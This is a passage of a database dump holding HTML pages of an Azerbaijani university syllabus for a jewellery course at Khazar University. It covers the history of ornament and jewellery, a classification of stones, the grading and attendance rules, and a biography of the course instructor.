zövqünün və kamil əsərlər yaradılmasınn böyük əhəmiyyəti vardir. Ona görə milli sənətimizin tətbiqi ilə yanaşi bədii xüsusiyyətlerini təhlil etmək vacib məsələlərdəndir. Bu sahədə yaradilan hər bir sənət əsəri rəssam və ustalarimizin yaradıcılıq metodunu zənginləşdirməklə bərabər,&nbsp; faydalı və ideoloji əhəmiyyəti olan Dekorativ – tətbiqi incəsənəti əsərlərinin yüksək səviyyədə inkişafına da kömək edə bilər</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;&nbsp;&nbsp; Ornament :</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;Azərbaycan&nbsp; xalq tətbiqi sənətində müxtəlif növ naxışlarn kompozisiya xüsusiyyətləri və müxtəlif əndazəli və formali Dekorativ – tətbiqi sənət növlərinin bədii tərtibaı prinsipləri öyrenilir. Əsas etibarı ilə müxtəlif əsrlərə aid xalq sənətlərində tətbiq edilmiş esas ornament qruplarinin kompozisiya qurluşlari prinsiplərinin müxtəlifliyi və zənginliyi nümayiş etdir .</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Zərgərlik :</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;“Zərgərlik” insanın bəzəyərək istifadə etdiyi əşyalar içərisində metaldan düzəldilmiş məmulatlar əhəmiyyətli yerlərdən birini tutur.&nbsp; “Bədii metal” sənəti Azərbaycan&nbsp; Dekorativ-tədbiqi sənətin əsas qollarında biridir. Bu sənət növü özündə incəsənətimizin bir çox qollarını birləşdirərək sintez yaratmışdır. Bədii metal sənətində əsrlər boyu müxtəlif sənət növləri ilə vəhdət&nbsp; halında tədbiq edilmişdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Məlum olduğu kimi Zərgərlik, incəsənət sahələri içərisində özünəməxsus yeri olan həmişəyaşar milli sərvətlərimizdən biridir. İnsanın onu əhatə edən dünyanı daha yaraşıqlı etmək istəyi kimi təbii ehtiyaclarından doğmuş bu sənət xalqların coğrafi, iqlim, iqtisadiyyat, daha sonra mədəniyyət, din və s. fərqləri fonunda formalaşaraq özündə minilliklərin izlərini daşıyır. Xalqın milli sərvəti olmaqla yanaşı, zərgərlik həm də qədim və gözəl ənənələrin yaşadılmasına və dərk edilməsinə kömək edir. Belə maraqlı və çoxcəhətli sənətin tədrisi, və xüsusən də tələbələrin qiymətləndirilməsi özünəməxsusluğu ilə seçilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;Uzun illər ərzində aparılan arxeoloji qazıntı işləri nəticəsində toplanmiş zəngin maddi mədəni nümunələri içərisinə bəzək eşyalarıda özünə məxsus yer tutur. Bu zəngin bəzək eşyalari bütövlükdə zərgərlik sənəti haqqında fikir söyləməyə imkan verir. Indi təkcə qadin geyimini bəzəyən bəzək eşyalarindan qədim dövrlərdə kişilərdə istifadə edirdilər. Bu ondan irəli gəlirki, həmin dövrdə insanlarin istifadə etdikləri bəzək eşyaları təkcə estetik baxımdan deyil , həmdə dini sitayiş xarakteri daşıyırdı.&nbsp;&nbsp;&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Dini ideologiyanin formalaşması ilə insanların bəzək eşyalarına olan münasibətləri dəyişmiş, ayin və mövhumi xrakter daışiyan bilərzik , sırğa, muncuq, kəmər və başqa bəzək eşyalari tədricən qadınların əsas bəzəyinə çevrilmişdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp; Bəzək əşyalarının təsnifatı :</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">1)&nbsp;&nbsp;&nbsp; Baş bəzəkləri , 2) Döş bəzəkləri , 3) Qol bəzəkləri , 4) Geyim bəzəkləri</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Daşların təsnifatı:</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Qədim və orta əsr mədəniyyət tarixinə dair daşlardan duzəldilmiş eşyalari aşağidakı qruplara bölmək olar:</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">1)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Daşların məişətdə əhəmiyyəti ;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Bəzək daşlari;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">3)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Müqəddəs daşlar və onlara dindarlarin sitayişi;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Məmulat daşlari;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Üzlük daşlari;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">6)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Yazılı və rəsm ifadəli daşlar;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">7)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Möhür daşlari;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">8)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Inşaat daşlari;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">9)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dekorotiv daşlar;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">10)&nbsp;&nbsp;&nbsp;&nbsp; Memarliqda işlənən daşlar;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">11)&nbsp;&nbsp;&nbsp;&nbsp; Senayə əhəmiyyətli daşlar;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">12)&nbsp;&nbsp;&nbsp;&nbsp; Mozaika incəsənətində işlədilən daşlar;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">13)&nbsp;&nbsp;&nbsp;&nbsp; Daşlar haqda əfsanələr;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">14)&nbsp;&nbsp;&nbsp;&nbsp; Daşlar poeziyada.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Bəşəriyyət tarixində insanlarımaraqlandıran məsələlərdən biri də daşlar və onların rengarengliyi olmüşdür. Daşlar , o cümlədən qiymətli və yarım qiymətli rəngli daşlar haqqında təsəvvür hələ daş dövründən arxeoloji qazma işləri zamanı yaradılmışdır. Qazıntılar nəticəsində tapılan&nbsp; paleolit ( qədim daş ) , neolit ( yeni daş ), eneolit ( daş – metal ) dövrləri və tunc dövrünə aid olan daş və metaldan düzəldilmiş əşyalar ov və müharibə zamanı işlənən alətlərin qalıqlarıdır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Daşlar haqqinda yazılı məlumatlar 8 – 10 min il bundan əvvəl də daş üstü yazılarda,</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">son 2 –5&nbsp; min ildə başqa yazı formalarında, xususən mixi xətti və heroqliflərdə verilmişdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Qədim zamanlardan bəri daşların istifadəsi və iqtisadiyyatı ilə əlaqədar onların emalı mühüm məsələlərdən biri olmuşdür. Daşların forma və fiziki xassələrini nəzərə almaqla onların emalı inkişaf eddirilmiş, zərgərlik , mozaika ,ornament və sairə sənətlər yuksək səviyyəyə çatmışdır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Qiymətli və yarimqiymətli rəngli daşlardan hazırlanmış məmulatlar hələ qədimdən xəzinələrdə, muzeylərdə, baş kilsələrdə, böyük məsciddə saxlanilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Zərgərlik&nbsp; peşəsi üçün praktiki rəhbərliklər:</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">1)&nbsp;&nbsp;&nbsp; Zərgərlik məmulatlarının istehsalı üçün materiallar.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">2)&nbsp;&nbsp;&nbsp; Hazırlayıcı ücün praktiki rəhbərlik.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">3)&nbsp;&nbsp;&nbsp; Quraşdırıcı – zərgər üçün praktiki rəhbərlik.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">4)&nbsp;&nbsp;&nbsp; Bərkidici - zərgər üçün praktiki rəhbərlik.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">5)&nbsp;&nbsp;&nbsp; Dekorativ müdafiə örtükləri.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">6)&nbsp;&nbsp;&nbsp; Cilalayıcı – zərgər üçün praktiki rəhbərlik.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">7)&nbsp;&nbsp;&nbsp; Zərgərlik məmulatlarının assortimenti və klassifikasiyası.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Zərgərlik kursunda tələbələr Dekorativ sənət üzrə işləyən rəssam və ustaların əl işləri ilə tanış olur, həmçinin tələbələr gələcək yaradıcılıq fəaliyyətində çox əhəmiyyətli olan&nbsp; metalın bədii emalında istifadə olunan son texnoloji naliyyətlərlə, dəzgahlar və digər avadanlığlarıda öyrənir. Zərgərlik sahəsini öyrənən tələbələr təkcə metal deyil həm də iş prinsipində istifadə olunan&nbsp; digər material və alətləri&nbsp; tanımalıdırlar. ən mühüm mərhələlərdən biridə tələbələrin metalların fiziki və dekorotiv xassələrini&nbsp; mənimsəməsidir.&nbsp; Mərhələ mərhələ keçdikləri, gördükləri hər yeni texnologiya,&nbsp; hər yeni üslub gələcəkdə tələbəlkərin fikirlərini daha geniş və daha dərin&nbsp; çatdırmağa əhəmiyyət göstərir. Fənnin ən vacib məqsədi tələbənin estetik zövqünü zənginləşdirməkdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Zərgərliyin qeyri ixtisas fəni kimi tədris olunduğu Xəzər universitəsində&nbsp; qiymətləndirmə prinsipləri həm müxtəlif Rəssamlıq akademiyalarının həm də “Baloniya” prinsiplərinin metodoloji əsaslarına dayanır. Məlumdur ki, İncəsənətin sintetik növü olan zərgərlik üzrə işlər profil təhsil müəssisələrində müxtəlif&nbsp; istiqamətlərdə ixtisaslaşmış&nbsp; rəssamlardan ibarət komisiya tərəfindən sərgi-baxışlar gedişində qiymətləndirilir.&nbsp; Bu ənənəvi üsul Xəzər universitəsində əsasən yekun sərgilər formasında saxlanılmaqdadır. Amma, bizim nəzərdən keçirdiyimiz halda universitə təhsilində incəsənət fənnlərinin məqsədi bir qədər başqa olduğu üçün tələbənin bilik və bacarıqlarına verilən tələblər də fərqlidir. Burada son məqsəd kimi, tələbənin bu və ya digər incəsənət sahəsində ixtisaslaşması, professional sənətkar kimi formalaşması deyil, hərtərəfli mütəxəssis olaraq ilkin, öncül sənət bilgilərinə yiyələnmə, zəruri estetik zövqün formalasması və digər bu kimi tələblər ön plana çəkilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">İncəsənət sahələrinin seçmə fənn kimi tədris olunduğu bizim universitədə tələbənin müvəffəqiyyəti zərgərlik üzrə də 100 ballıq sistemlə qiymətləndirilir. Qiymətləndirilmənin prinsipləri beynəlxalq təcrübəyə və xüsusen, zərgərlik fəninin tədris olunduğu digər xarici təhsil müəssiələrinin təcrübəsinə müvafiqdir. Eyni zamanda Azərbaycanda zərgərlik fənninin tədrisi üzrə maraqli təcrübə toplamiş&nbsp; Az. Dövlət Rəssamliq Akademiyasi&nbsp; memarliq və dizayn fakültəsi dekorativ tətbiqi sənət kafedrasinın, metal ixtisasi tədrisində istifadə olunan prinsiplər də departamentimizdə araşdırılıb mənimsənilmişdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Qəbul etdiyimiz qayda üzrə hər bir&nbsp; tələbə&nbsp; semester ərzində fərdi şəkildə ən azı bir iş tamamlamalidir. Belə bir işin&nbsp; başa çatdırılıb universitə sərgisinə təqdim olunmasi əsas şərtdir. Işin icrasinin birinci mərhələsi semestr başladiqdan&nbsp; altı həftə sonra araliq imtahani gedişində komissiya tərəfindən&nbsp; müzakirə olunub qiymətləndirilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Araliq imtahani 25 balla qiymətləndirilir. Bunlardan 15 ball praktiki işə gorə,&nbsp; 10 bal isə iş ətrafindakı suallara cavablar&nbsp; əsasinda verilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Final imtahani 40 balla qiymətləndirilir, bunlarinda 30 bali&nbsp; praktiki işin nəticəsi,&nbsp; 10 balı&nbsp; zərgərlik fənninin nəzəri suallara cavablar əsasinda veilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Nəzəri suallara zərgərlik sənətinin ümumi əsasları,&nbsp; Azərbaycan&nbsp; zərgərliyinin xüsusiyyətləri, zərgərlik sənətinin&nbsp; tarixi,&nbsp; istifadə olunan texniki vasitələr, metal, dash,&nbsp; minerallar&nbsp; və&nbsp; reaktivlər haqqa əsas anlayişlar daxildir. Buraya təsnifat, texnoloji xüsusiyyətlər, zəruri fiziki-kimyavi göstəricilər tarixi əsaslar və bu kimi daxildir. Bu biliklər mühazirə gedişində tələbələrə çatdırılır, əldə olan ədəbiyyat, o cümlədən, universitə jurnalında&nbsp; dərc olunmuş məqalələrlə təmin olunur.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Fəalliq və dərslərdə iştirak&nbsp; -&nbsp; ayrıca 10 balla qiymətləndirilir və yekun imtahanına buraxılış ücün zəruridir. Tələbə dərs geişində mühazirələri dinləyir, qeydlər aparır, tələb olunan bilik və vərdişləri mənimsəmək üçün müəllimin tapşırıqlarını yerinə yetirir. Müəllim praktik iş və nəzəri dərslər gedişində tələbənin fəallığının qeydiyyatını aparıb smestrin sonunda yekunlaşdırır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Labaratoriya&nbsp; işi&nbsp; 25 balla qiymətləndirilir. Belə iş – proyekt&nbsp; kompyuterdə hazirlanir&nbsp; və power point prezentasiya şəkilində təhvil verilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Prezentasiya ən azi 10 slayddan ibarət olmalidir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">1-ci&nbsp; slayt -&nbsp;&nbsp; titul,&nbsp;&nbsp; tələbənin ozünü və işini təqdim&nbsp; edən ad, mətn və qrafik obyekdən ibarətdir&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">2-ci&nbsp; slayt&nbsp; -&nbsp; işin eskizi, daha sonra işin – məmulatin&nbsp; müxtəlif proyeksiyalari, elementləri və rəng həllərini əks etdirir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Növbəti slaydda qisa tarixi məlumat və hazirlanan məmulat haqda informasiya verilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Sonrakı slaytlarin hər biri işin icrasının – məmulatin hazirlanmasının ayri- ayri ardıcıl mərhələlərini əks etdirir. Bura materialın (mineralların və metalların)&nbsp; secilməsi və hazırlanması, məmulata sərf olunan materialın, itgilərin və. s . həsablanmasi, klassifikasiya, texnoloji proseslər və s. aiddir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Proyektin – lobaratoriya işinin qiymətləndirilməsi gedişində&nbsp; prezentasiyanın ümumi keyfiyyəti ilə yanaşi eskizlərin düzgün qurulması və mövzunun tam əhatə olunması nəzərə alinir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Dərslərin 30 %-indən çoxunda iştirak&nbsp; etməyən tələbə imtahana&nbsp; buraxılmır .</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Fənnin tədrisinin nəticəsi:</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Fənnin ümumi tədrisi prosesi</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">tələbələrdə zərgərlik haqqında bitkin və obyektiv təzəvvür yaradacağ</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">tələbələrə dünya və azərbaycanın etnik&nbsp; zərgərlik sənətinin yaranması tarixi və inkişaf mərhələləri haqqında məlumat veriləcək.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">tələbələrə zərgərlikdə tədbiq edilən texnikaların (şəbəkə, mina, bərkitmə, quraşdırma, tökmə) istifadə qaydaları öyrədiləcək.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Qiymətləndirmə</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Semestr ərzində iki imtahanın keçirilməsi nəzərdə tutulur. Imtahanın keçirilmə tarixi haqqıda məlumat dərs zamanı veriləcəkdir. Qiymətləndirmə qaydası aşağıdakılardır:</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Yoxlama&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Aralığ imtahanı&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 25%</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Yekun imtahan&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 40%</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Ümumi &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 100%</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Davamiyyət</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tələbələrin bütün dərslərdə iştirakı vacibdir. Tələbələr hər hansısa bir səbəbdən&nbsp; dərslərin buraxılması (xəstəlik, ailə vəziyyəti və s.) haqqında məlumatı fakultə dekanına təqdim etməlidirlər.&nbsp; 20%-dən artıq dərs buraxan tələbələr imtahana buraxılmır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Dərsə gecikmələr və digər dərs pozuntuları.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Dərsə 5 dəqiqədən artıq gecikən tələbələr dərsə buraxılmır. Buna baxmayaraq, tələbə 2-ci dərs saatına buraxıla bilər.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Qabaqcadan baxış</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Müəllimə və dekana öncədən məlumat verilən səbəblərdən&nbsp; qabaqcadan baxışda&nbsp; iştirak etməyən tələbə&nbsp; növbəti həftə baxışda iştirak edə bilər.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Imtahanlar</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tələbənin imtahanda iştirakı və ya imtaha buraxılması ilə bağlı bütün məsələlər fakultə rəhbərliyi tərəfindən həll olunur.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Fənni bitirmək qaydaları</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Universitetin qaydalarına müvafiq olaraq kursu bitirmək üçün ümumi müvəffəqiyyət faizi 60 və yuxarı&nbsp; hesab edilir. Kəsri olan tələbə bu fənni növbəti semestr və ya növbəti il təkrarən yenidən götürə bilər.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Imtahan qaydalırın pozulması</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Qabaqcadan baxış və yekun imtahalar vaxtı tələbə tərəfindən imtahanın gedişini pozmaq qadağandır. Bu qaydaya qiymət verməyən tələbələrin imtahan işi ləvğ olunur, və tələbə 0 qiyməti ilə imtahandan kənarlaşdırılır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tələbələrin davranış qaydaları</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Dərs zamanı dərs prosesini pozmaq və qeyri-etik hərəkət etmək qadağandir. Həmçinin tələbələrin icazəsiz müzakirələri və mobil telefondan istifadəsi qadağandır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tədris metodları</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">- Tədris prosesində aşağıdakılar nəzərdə tutulur.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">- Mühazirələr mövzu əsasinda müzakirələr</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">- iş texnikasının təkminləşdirilməsi məqsədi ilə&nbsp; mütəxəsislərin dərslərə dəvət edilmısi</p>  <br></div>'),(1243,765,'en','Sillabuslar','Sillabuslar','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>XƏZƏR UNİVERSİTETİ</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>MUSİQİ VƏ İNCƏSƏNƏT DEPARTAMENTİ</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>ZƏRGƏRLİK</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>FƏNNİNİN</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">T ə d r i s&nbsp; P l a n ı</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Bu iş planı&nbsp; zərgərlik fənninin tədrisi zamanı əsas istiqamət verici sənəd olduğundan, tələbələrin bu sənədlə yaxından tanış olması vacib hesab edilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Müəllim haqqında qısa məlumat:</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xuraman Məmmədova Əbilhəsən qızı 1974 cü il Bakı şəhərində anadan</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">olmuşdur.1981-1989cu illərdə 172 saylı orta məktəbi bitirmişdir.1989-1993 cü&nbsp; illərdə Əzim Əzimzadə adina rəssamlıq texnikumunun bədii tərtibat fakültəsini bitirmişdir.1993-1997 ci illərdə Azərbaycan Dövlət Mədəniyyə və İncəsənət Universitetinin toxuculuq və yüngül sənaye mallarının bədii layihələşdirilməsi fakültəsini bitirmişdir. 1998-2000 ci illərdə “Aysel” zərgərlik kicik müəssəsində müdir müavini vəzifəsində calışmışdır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">1999-cu ildə Bakı Əyləncə mərkəzində zərgərlik işlərinin sərgisi keçirilmişdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">2007 ci ilde İnternational Gemological Institute-nun professional jewellery kursuna daxil olmuşdur.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">2005-2008 ci illərdə Birləşmiş Ərəb Əmirliyinin Dubai şəhərinde ‘Abilhasan Salmanov Jewellery’ sirkətində zərgər dizayner&nbsp; vəzifəsində çalışmışdır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">O illərdə “ Diamonds Are Women Best Friend” ( Almazlar qadınların en yaxın rəfiqəsidir) adlı sərgisini keçirmişdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Azərbaycanın böyük dramaturq-şairi Hüseyn Cavidin portretini ipək üzərində xırda muncuqlarla işləmişdir. Har hazırda muzeydə yerləşir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">2013 cü ildə Park İn Hotelində ‘Ümid var’ fərdi xeyriyyə resm sərgisi keçirilmişdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">2014 ci ilde Abşeron rayon Qobu qəsəbəsinin Sənətkarlıq evində direktor vəzifəsində calışmışdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, 